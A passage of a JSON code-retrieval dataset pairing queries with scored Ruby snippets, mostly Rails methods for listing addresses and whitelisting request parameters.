"docid": "96026c2e822d398144edd69798861987",
"score": "0.5705597",
"text": "def all(options={})\n response = MLS.get('/addresses', options)\n MLS::Address::Parser.parse_collection(response.body)\n end",
"title": ""
},
{
"docid": "9897025be0c31323da89580908da433c",
"score": "0.569191",
"text": "def listunconfirmed(addr)\n json_get('address','unconfirmed',addr)['data']['unconfirmed']\n end",
"title": ""
},
{
"docid": "48c82f5ee0707f98c83eaab28e86692f",
"score": "0.5677725",
"text": "def index\n @account_addresses = AccountAddress.all\n end",
"title": ""
},
{
"docid": "20e928b4746d25078116da3adfd5ee3e",
"score": "0.563467",
"text": "def extract_addresses(address_list)\n addresses = []\n address_list.each do |address|\n addresses << address[:address] if ['ipv4', 'hostname'].include?(address[:type])\n end\n addresses\nend",
"title": ""
},
{
"docid": "a516b0187b9d3b7b0b95547faeddd431",
"score": "0.5625469",
"text": "def billing_address\n all = {}\n for key_out in [:fax, :city, :company, :last_name, :country, :zip, :first_name, :address, :email, :state]\n all[key_out] = unescape params['x_' + key_out.to_s]\n end\n all\n end",
"title": ""
},
{
"docid": "cc76e94412aa2de177a388d1c0cb26f5",
"score": "0.561885",
"text": "def address_listing\n @addresses = current_user.addresses\n end",
"title": ""
},
{
"docid": "1d2a3b61b207b52909a96e19f81639e2",
"score": "0.56051207",
"text": "def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end",
"title": ""
},
{
"docid": "32ccf4dcaa99c6e823cf0120d6514b51",
"score": "0.5599444",
"text": "def list\n @ses.request('ListVerifiedEmailAddresses')\n end",
"title": ""
},
{
"docid": "23112fd51c3c1e9b954f84914c7d5cd0",
"score": "0.5598313",
"text": "def addresses\n warn \"DEPRECATED: use postalAddress from a Person entry\"\n []\n end",
"title": ""
},
{
"docid": "218ab5b1d610edeb95fe4b05c6cc012d",
"score": "0.55964655",
"text": "def get_bcc_addresses\n\n return [] if self.bcc_addresses.nil?\n return self.bcc_addresses.split(Email::ADDRESS_SEPARATOR)\n end",
"title": ""
},
{
"docid": "7036b719c2246eeedb610577d07e7a51",
"score": "0.55947083",
"text": "def index\n @reserved_addresses = ReservedAddress.all\n end",
"title": ""
},
{
"docid": "3302617dc86160b1b2b3f2c30dd0f853",
"score": "0.557975",
"text": "def order_ship_address_lines\n order.ship_address.try(:full_address_array)\n end",
"title": ""
},
{
"docid": "9fd9a55b861db77a9a0a22ba23df779f",
"score": "0.5578857",
"text": "def private_ipaddresses\n # Create an array to hold the addresses\n addresses = []\n\n # Iterate around the filter that has been populated\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n addresses << ip_config['private_ipaddress']\n end\n end\n\n # return the array to the calling function\n addresses\n end",
"title": ""
},
{
"docid": "eb65ace6d46ab6fad07c76581bd0306c",
"score": "0.55579346",
"text": "def get_addresses\n parsed_script.get_addresses\n end",
"title": ""
},
{
"docid": "166096421fdbac7787375ebda90b5ec4",
"score": "0.55572826",
"text": "def feed_address_address\n @feed_quote_map.keys\n end",
"title": ""
},
{
"docid": "3c9189d86e0e17c39115bae469ed111a",
"score": "0.55385697",
"text": "def address_matches\n filtered_matches(ignore: [:first_name, :family_name], perfect: [:street, :city])\n end",
"title": ""
},
{
"docid": "20a3359ff2c03a61aed64f85cc88aae2",
"score": "0.55315447",
"text": "def public_addresses\n details['addresses']['public'].map { |i| i[\"addr\"] }\n end",
"title": ""
},
{
"docid": "accec814878385b28588716e1fb165c1",
"score": "0.55251056",
"text": "def address_array(visibility_limit = visibility)\n return [] if visibility_limit == self.class.no_visibility\n\n start_index = self.class.visibility_items.index { |viz_item| viz_item == visibility_limit }\n return [] unless start_index\n\n viz_items_length = self.class.visibility_items.length\n\n # Create the array with the actual values of the address.\n # Add in the kommun name if there is one for the address.\n if kommun\n ary = [street_address, post_code, city, kommun.name,\n sverige_if_nil][start_index..viz_items_length]\n else\n ary = [street_address, post_code, city,\n sverige_if_nil][start_index..(viz_items_length - 1)]\n end\n ary.delete_if { |f| f.blank? }\n end",
"title": ""
},
{
"docid": "1ec80f41052bcbaa8ee51cd69fb932c7",
"score": "0.5523932",
"text": "def index\n @vendor_addresses = VendorAddress.all\n end",
"title": ""
},
{
"docid": "b2b7a3c69227d024cd5bf3f0130966cd",
"score": "0.55087566",
"text": "def call_address_service\n addresses = []\n success = call_ok?(:address_search, make_request) do |body|\n ServiceClient.iterate_element(body[:address_list]) do |address|\n add_address(addresses, address) unless address.nil?\n end\n end\n [success, addresses]\n end",
"title": ""
},
{
"docid": "c74993797f6362343bb445e415a95caa",
"score": "0.54976743",
"text": "def addresses\n message = { nodes: { item: resource[:name]}}\n transport[wsdl].get(:get_address, message)\n end",
"title": ""
},
{
"docid": "519fc8e49315639cecf621f51b0bf1e1",
"score": "0.5493976",
"text": "def billing_address\n all = {}\n [:fax, :city, :company, :last_name, :country, :zip, :first_name, :address, :email, :state].each do |key_out|\n all[key_out] = unescape params['x_' + key_out.to_s]\n end\n all\n end",
"title": ""
},
{
"docid": "ab03ab0f7c90bdfbf435690cd9457da5",
"score": "0.5466443",
"text": "def getaddressesbyaccount(account)\n @api.request 'getaddressesbyaccount', account\n end",
"title": ""
},
{
"docid": "7fc78ffe2f585618c0ab535864437275",
"score": "0.54532105",
"text": "def bcc_addrs\n bcc ? [bcc].flatten : []\n end",
"title": ""
},
{
"docid": "1e8d99576e2dc5d238f8975621791d1a",
"score": "0.5451134",
"text": "def cc_addrs\n cc ? [cc].flatten : []\n end",
"title": ""
},
{
"docid": "b41fbdda32bc1b6bc02fd7840b77ba4b",
"score": "0.5445173",
"text": "def index\n @ripple_addresses = RippleAddress.all\n end",
"title": ""
},
{
"docid": "40869e5b8aa0e0641f52568a63499f15",
"score": "0.5437872",
"text": "def addresses\n format_entities('gd$structuredPostalAddress', :format_address)\n end",
"title": ""
},
{
"docid": "63b22b392ab180ac89301cc6d1b29378",
"score": "0.54363465",
"text": "def addresses(tenantArr)\n tenantArr.each do |tenant|\n if tenant[:apartment_id] == 1\n #puts tenant[:apartment_id]\n end\n end\n end",
"title": ""
},
{
"docid": "fdd5c70924162831f3a2c21f8211aed6",
"score": "0.54308796",
"text": "def get_address_books\n self.class.get('https://api.yesgraph.com/v0/address-books', :headers => @options)\n end",
"title": ""
},
{
"docid": "423455dac08a64f519bb338f11ca0aae",
"score": "0.54273236",
"text": "def getaddresses(name)\n return [name] if ADDRESS_REGEX.match(name)\n @resolvers.each do |resolver|\n addresses = []\n resolver.each_address(name) { |address| addresses << address }\n return addresses unless addresses.empty?\n end\n []\n end",
"title": ""
},
{
"docid": "95294fd3ec27593f880ebc224856176f",
"score": "0.54237473",
"text": "def show_addresses(**params)\n get('addresses', params)\n end",
"title": ""
},
{
"docid": "29c95395835b5b6c5c1949aed05455f8",
"score": "0.5393873",
"text": "def address_list\n $tracer.trace(format_method(__method__))\n return ProfileAddressList.new(@tag.find.span.className(create_ats_regex_string(\"ats-addrpanel\")), format_method(__method__))\n end",
"title": ""
},
{
"docid": "6ab11380349e5020f51b9ee8ec887493",
"score": "0.5389002",
"text": "def index\n @ag_addresses = Ag::Address.all\n end",
"title": ""
},
{
"docid": "742b2d85b163298d1170be9a250d292a",
"score": "0.5388016",
"text": "def get_whitelist\n @whitelist ||= []\n end",
"title": ""
},
{
"docid": "2b70b79e430a253f17f2f9d56c0dc640",
"score": "0.5384128",
"text": "def multi_addr(addresses)\n get(\"addr/\"+addresses.join(\",\")+\"/balance?noCache=1\")\n end",
"title": ""
},
{
"docid": "4b52bfdb19fc33d3722967633c138d9e",
"score": "0.5382859",
"text": "def email_addresses\n emails.map(&:address)\n end",
"title": ""
},
{
"docid": "3ce4dbdfedc1e1f2742b5a98934c0811",
"score": "0.5376044",
"text": "def listreceivedbyaddress(minconf = 1, includeempty = false)\n coind.listreceivedbyaddress minconf, includeempty\n end",
"title": ""
},
{
"docid": "d30a8bb09a92a458466d5110edd4b29b",
"score": "0.5375217",
"text": "def index\n\t\t@addresses = current_user.addresses\n\tend",
"title": ""
},
{
"docid": "634554b338ccd99450ef0a80b074c031",
"score": "0.5375194",
"text": "def index\n @addresses = current_customer.addresses.order(is_primary_address: :desc, updated_at: :desc)\n end",
"title": ""
},
{
"docid": "e8c10f348fdf1fbac4daccdffe841b38",
"score": "0.53713953",
"text": "def getaddressesbyaccount(account)\n request :getaddressesbyaccount, account\n end",
"title": ""
},
{
"docid": "7fd9b511d70b7b159b03f97ad54eafdf",
"score": "0.536485",
"text": "def list_wallet_addresses(wallet_id: default_wallet_id)\n call :get, '/wallet/' + wallet_id + '/addresses'\n end",
"title": ""
},
{
"docid": "9731068363dcee53744921adbe174e6b",
"score": "0.53586483",
"text": "def get_cc_addresses\n\n return [] if self.cc_addresses.nil?\n return self.cc_addresses.split(Email::ADDRESS_SEPARATOR)\n end",
"title": ""
},
{
"docid": "490d36be8fead6258e8d8fc1ba9eab2b",
"score": "0.5351513",
"text": "def index\n @user_addresses = current_user.user_addresses\n end",
"title": ""
},
{
"docid": "4cb2a5652d92e18f6aca8d97b86a6955",
"score": "0.5326185",
"text": "def populate_address_list_from_params\n @address_list = []\n params.each do |key, value|\n next unless key.start_with? 'address_list_'\n\n address = Address.new.from_json(value)\n @address_list << address\n end\n end",
"title": ""
},
{
"docid": "85726e657dc55d37e9948688f67d06bc",
"score": "0.5324319",
"text": "def pick_address_from_list\n params.each_key do |key|\n next unless key.start_with? 'pick_address'\n\n index = key.to_s.delete_prefix('pick_address_').to_i\n\n @show_manual_address = true\n @address_read_only = true\n @address_summary = AddressSummary.new\n @address_detail = @address_list[index]\n break\n end\n end",
"title": ""
},
{
"docid": "e6f527d9ca637ba516dde4a2a8d27955",
"score": "0.53118205",
"text": "def addresses(tenantArr)\n tenantArr.each do |tenant|\n #puts tenant[:name]\n end\n end",
"title": ""
},
{
"docid": "7957f52c88ead19333ec494fab2f1619",
"score": "0.5297744",
"text": "def excluded_addresses\n @excluded_scan_targets[:addresses]\n end",
"title": ""
},
{
"docid": "41ce5215923103e6c8b103d751522b05",
"score": "0.52797735",
"text": "def addresses\n options = (token && secret) ? {:access_token => token, :access_secret => secret} : {}\n @addresses ||= Address.find(username, options)\n end",
"title": ""
},
{
"docid": "41ce5215923103e6c8b103d751522b05",
"score": "0.52797735",
"text": "def addresses\n options = (token && secret) ? {:access_token => token, :access_secret => secret} : {}\n @addresses ||= Address.find(username, options)\n end",
"title": ""
},
{
"docid": "4e68c82389dcce3d57c1b4259e7707ce",
"score": "0.5278855",
"text": "def to_address\n out = []; @envelope.to_addrs.each{|a| out.push(a.address)}\n return out\n end",
"title": ""
},
{
"docid": "6f3139ce2e0fdbb1b667dcf9a1b77288",
"score": "0.52753645",
"text": "def listreceivedbyaddress(minconf = 1, includeempty = false)\n @api.request 'listreceivedbyaddress', minconf, includeempty\n end",
"title": ""
},
{
"docid": "6c6469b6fedbef26692842c24a6ef3ad",
"score": "0.52634984",
"text": "def get_to_addresses\n\n return [] if self.to_addresses.nil?\n return self.to_addresses.split(Email::ADDRESS_SEPARATOR)\n end",
"title": ""
},
{
"docid": "68efb79b927e3ebc57f2ee3ec1a15e39",
"score": "0.5263012",
"text": "def index\n @adresses = Adress.all\n end",
"title": ""
},
{
"docid": "05333b2f87c7a5ead4304619ba32d415",
"score": "0.52622145",
"text": "def index\n\t\t@addresses = Address.all\t\n\tend",
"title": ""
},
{
"docid": "08a542ed0b5f470a9f0dc0969220a191",
"score": "0.5240469",
"text": "def eligible_hash\n return []\n # TODO: refactor as per offered markets\n @medicaid_hash[:insuranceCoverage].each do |_eligible_coverage|\n next if enrolled_coverage[:insuranceMarketType] == 'NONE'\n\n result << {\n kind: Ffe::Types::BenefitsKindMapping[enrolled_coverage[:insuranceMarketType].to_sym],\n status: 'is_eligible',\n start_on: Date.parse('2021-01-01'), # default value\n end_on: nil\n }\n end\n result\n end",
"title": ""
},
{
"docid": "5dd8c812bd6d10598190eff807294118",
"score": "0.52391714",
"text": "def address_params\n #funky strong params block taken from https://github.com/rails/rails/issues/9454#issuecomment-14167664\n params.require(:address).permit(:id, :name, :address, :telephone, :agent).tap do |whitelisted|\n whitelisted[:address] = params[:address][:address]\n end\n end",
"title": ""
},
{
"docid": "e747cd3ec0f4f9f9c53b897d41194afa",
"score": "0.52380043",
"text": "def grab_scannable_instances(address_blob, active_addresses)\n # list to hold all addresses of a region\n ec2_addresses_list = []\n address_blob.each do |address|\n # gathers all ip addresses for a region and pushes all of them to ec2_addresses_list\n # if they are still active in the account\n ec2_addresses_list.push(address['public_ip_address']) if active_addresses.include?(address['public_ip_address'])\n end\n ec2_addresses_list\nend",
"title": ""
},
{
"docid": "5bef75654b98228aafac4afaebd5f52f",
"score": "0.52285904",
"text": "def index\n @venue_addresses = VenueAddress.all\n end",
"title": ""
},
{
"docid": "9cb585464037a0c098762d08012c3afd",
"score": "0.51978785",
"text": "def index\n @hr_config_contracts = Hr::Config::Contract.all\n end",
"title": ""
},
{
"docid": "746b0abb8ea84f40496645130b28e767",
"score": "0.5190513",
"text": "def all(params = {})\n @client.make_request(:get, 'carrier_accounts', MODEL_CLASS, params)\n end",
"title": ""
},
{
"docid": "dc0b8ce9e1808b2b55ced3ac740a5927",
"score": "0.51877135",
"text": "def addresses(aptArr)\n aptArr.each do |apt|\n #puts apt[:address]\n end\n end",
"title": ""
},
{
"docid": "7a5b8870b87cfdb543b381c20cab6d7c",
"score": "0.5186742",
"text": "def index\n @user_delivery_addresses = UserDeliveryAddress.all\n end",
"title": ""
},
{
"docid": "e4e14b9a0518e9f7a3026e61101af6d0",
"score": "0.51847345",
"text": "def index\n @user_addresses = UserAddress.all\n end",
"title": ""
},
{
"docid": "7217df4b427df0bca21a67fa2bc8ffc8",
"score": "0.51628953",
"text": "def index\n @customer_addresses = CustomerAddress.all\n end",
"title": ""
},
{
"docid": "d380cb4178a0fa38517524a6c8d3ffbd",
"score": "0.51593894",
"text": "def available_ips\n range = conf['addresses']['range']\n unless(range.to_s.empty?)\n range = (range.split('-').first.split('.').last..range.split('-').last).map{|oct|\n \"#{range.split('-').first.split('.').slice(0,3).join('.')}.#{oct}\"\n }\n else\n range = []\n end\n (conf['addresses']['static'] + range).compact\nend",
"title": ""
},
{
"docid": "0b2e30c1f9944ab02aa6590638b64f99",
"score": "0.51593757",
"text": "def index\n @person_addresses = PersonAddress.all\n end",
"title": ""
},
{
"docid": "d6830f3e27ac0b0e3950fd0907697830",
"score": "0.51583236",
"text": "def indirect_contracts\n Contract.where(:user_id => descendant_ids)\n end",
"title": ""
},
{
"docid": "279447d729bccf3bc0d59610137275fd",
"score": "0.51515126",
"text": "def bcc\n address_list_fetch('bcc')\n end",
"title": ""
},
{
"docid": "afe995625a6a3c4dc921e60e871491b9",
"score": "0.5148293",
"text": "def email_addresses\n\t\treturn [self]\n\tend",
"title": ""
},
{
"docid": "0483e6cb56c0f9d0d9a0c40b9be56f59",
"score": "0.51482505",
"text": "def index\n @sales_addresses = Sales::Address.all\n end",
"title": ""
},
{
"docid": "28f87d8423dc764be46183a0a880a8bb",
"score": "0.5145721",
"text": "def addresses(rev=nil, &block)\n return to_enum(:addresses, rev) if ! block_given?\n sections.each { |s| s.addresses(rev).each { |a| yield a } }\n end",
"title": ""
},
{
"docid": "f5f09f15a87fbead2ad4dc9f784922b0",
"score": "0.51443136",
"text": "def network\n arr =\n self.credits.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.debtor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address) +\n self.debts.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.creditor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address)\n arr.uniq\n end",
"title": ""
},
{
"docid": "c093215430ebe38f136376e892046662",
"score": "0.5143407",
"text": "def listreceivedbyaddress(minconf = 1, includeemepty = false)\n request :listreceivedbyaddress, minconf, includeemepty\n end",
"title": ""
},
{
"docid": "cf739ffcbfa680f02cff39e5d84873c0",
"score": "0.51348394",
"text": "def from_addrs\n from ? [from].flatten : []\n end",
"title": ""
},
{
"docid": "74b7f72bfc42f713281f6cefc7de6fc9",
"score": "0.513432",
"text": "def get_email_list\n return get_townhall_list_and_url.map{|town, url| {town => get_townhall_email(url)}}\n end",
"title": ""
},
{
"docid": "633aed76e2de2fe996776fc4003c3353",
"score": "0.5130402",
"text": "def full_address_array\n [name, address1, address2, city_state_zip].compact\n end",
"title": ""
},
{
"docid": "633aed76e2de2fe996776fc4003c3353",
"score": "0.5130402",
"text": "def full_address_array\n [name, address1, address2, city_state_zip].compact\n end",
"title": ""
},
{
"docid": "3f6f3f281c72d30f7e0451e4e28e6f8d",
"score": "0.51263726",
"text": "def from_addresses=(value)\n @from_addresses = value\n end",
"title": ""
},
{
"docid": "011307b2ec45da2c01a20596edeb3ec8",
"score": "0.5122244",
"text": "def whitelist\n @whitelist || []\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "7c5f03467ef0452902d135a3b3e6e962",
"score": "0.0",
"text": "def evaluation_params\n params.require(:evaluation).permit(:restaurant_id, :standards, :name, :message)\n end",
"title": ""
}
] |
[
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.69792545",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6781151",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.67419964",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.674013",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6734356",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6591046",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6502396",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6496313",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6480641",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64565",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6438387",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63791263",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.63740575",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6364131",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63192815",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.62991166",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.62978333",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292148",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290449",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.6290076",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62894756",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283177",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6242471",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62382483",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6217549",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.6214457",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.6209053",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6193042",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6177802",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6174604",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.61714715",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6161512",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6151757",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6150663",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.61461",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61213595",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6106206",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6105114",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6089039",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6081015",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6071004",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.6019971",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.601788",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6011056",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.6010898",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001556",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6001049",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59943926",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.5992201",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59909594",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5990628",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980841",
